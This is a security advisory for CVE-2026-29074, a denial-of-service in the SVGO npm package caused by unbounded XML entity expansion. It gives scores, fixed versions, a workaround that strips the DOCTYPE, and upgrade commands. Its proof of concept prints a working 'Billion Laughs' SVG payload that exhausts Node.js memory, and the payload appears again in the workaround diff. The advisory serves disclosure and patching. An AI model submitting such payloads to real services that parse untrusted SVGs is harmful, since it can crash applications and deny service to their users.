GHSA-xpqw-6gx7-v673 CVE-2026-29074
SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.70%
- Chance of exploitation in the next 30 days. Higher than 53.27% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
- Fix
2.8.1- Upgrade svgo to this version or later
Description
Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.
Details
The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.
However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
Proof of Concept
import { optimize } from 'svgo';
/** Presume that this string was obtained in some other way, such as network. */
const original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
optimize(original);
Impact
If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
Patches
SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
Workarounds
== 4.0.0
For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:
For example:
yarn up -R sax
New options were introduced upstream which makes the way SVGO parses SVGs safe by default.
>= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.
Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.
+ import SAX from 'sax';
import { optimize } from 'svgo';
- const original =`
+ let original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+ original = original.replace(doctype, '');
+ }
+ parser.write(original);
optimize(original);
Resources
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| svgo | >= 2.1.0, < 2.8.1 |
2.8.1 |
| svgo | >= 3.0.0, < 3.3.3 |
3.3.3 |
| svgo | 1 listed versions | No fix yet |
| svgo | >= 2.1.0, < 2.8.1 |
2.8.1 |
| svgo | >= 3.0.0, < 3.3.3 |
3.3.3 |
| svgo | >= 4.0.0, < 4.0.1 |
4.0.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
svgo npm → 2.8.1
- npm
npm install svgo@2.8.1- yarn
yarn add svgo@2.8.1- pnpm
pnpm add svgo@2.8.1
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.
How to prevent it
- Operation: If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.
- Implementation: Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.
References
Advisories
Packages
Other links
- access.redhat.com/errata/RHSA-2026:11856
- access.redhat.com/errata/RHSA-2026:11916
- access.redhat.com/errata/RHSA-2026:13512
- access.redhat.com/errata/RHSA-2026:13545
- access.redhat.com/errata/RHSA-2026:13553
- access.redhat.com/errata/RHSA-2026:13826
- access.redhat.com/errata/RHSA-2026:19375
- access.redhat.com/errata/RHSA-2026:19712
- access.redhat.com/errata/RHSA-2026:21017
- access.redhat.com/errata/RHSA-2026:21772
- access.redhat.com/errata/RHSA-2026:22465
- access.redhat.com/errata/RHSA-2026:24977
- access.redhat.com/errata/RHSA-2026:48085
- access.redhat.com/errata/RHSA-2026:5807
- access.redhat.com/errata/RHSA-2026:6277
- access.redhat.com/errata/RHSA-2026:6309
- access.redhat.com/errata/RHSA-2026:6568
- access.redhat.com/errata/RHSA-2026:6926
- access.redhat.com/errata/RHSA-2026:7110
- access.redhat.com/errata/RHSA-2026:8483
- access.redhat.com/errata/RHSA-2026:8484
- access.redhat.com/errata/RHSA-2026:8490
- access.redhat.com/errata/RHSA-2026:8491
- access.redhat.com/errata/RHSA-2026:8493
- access.redhat.com/errata/RHSA-2026:9742
- access.redhat.com/security/cve/CVE-2026-29074
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29074.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w27v-7q3p-w38r SVGO: removeScripts allows executable links through namespace and control-character bypasses | High | Also affects svgo |
| GHSA-4vpr-x523-8j87 SVGO: removeScripts incompletely sanitizes executable HTML in SVG foreignObject elements | Medium | Also affects svgo |
| GHSA-2p49-hgcm-8545 SVGO removeScripts plugin leaves some executable scripts intact | High | Also affects svgo |
| GHSA-3x94-m842-937c PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service | High | Same weakness, CWE-776 |
| GHSA-rxj4-h86g-25gc PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service | High | Same weakness, CWE-776 |
| GHSA-97qj-x29f-37w7 NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses | High | Same weakness, CWE-776 |
| GHSA-8r6m-32jq-jx6q fast-xml-parser: Repeated DOCTYPE declarations reset entity expansion limits | High | Same weakness, CWE-776 |
| GHSA-4qpc-3hr4-r2p4 Symfony's YAML Parser Vulnerable to Exponential Memory Allocation via Recursive Collection-Alias Expansion ("Billion Laughs") | High | Same weakness, CWE-776 |
Credits: ByamB4, isaacs
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor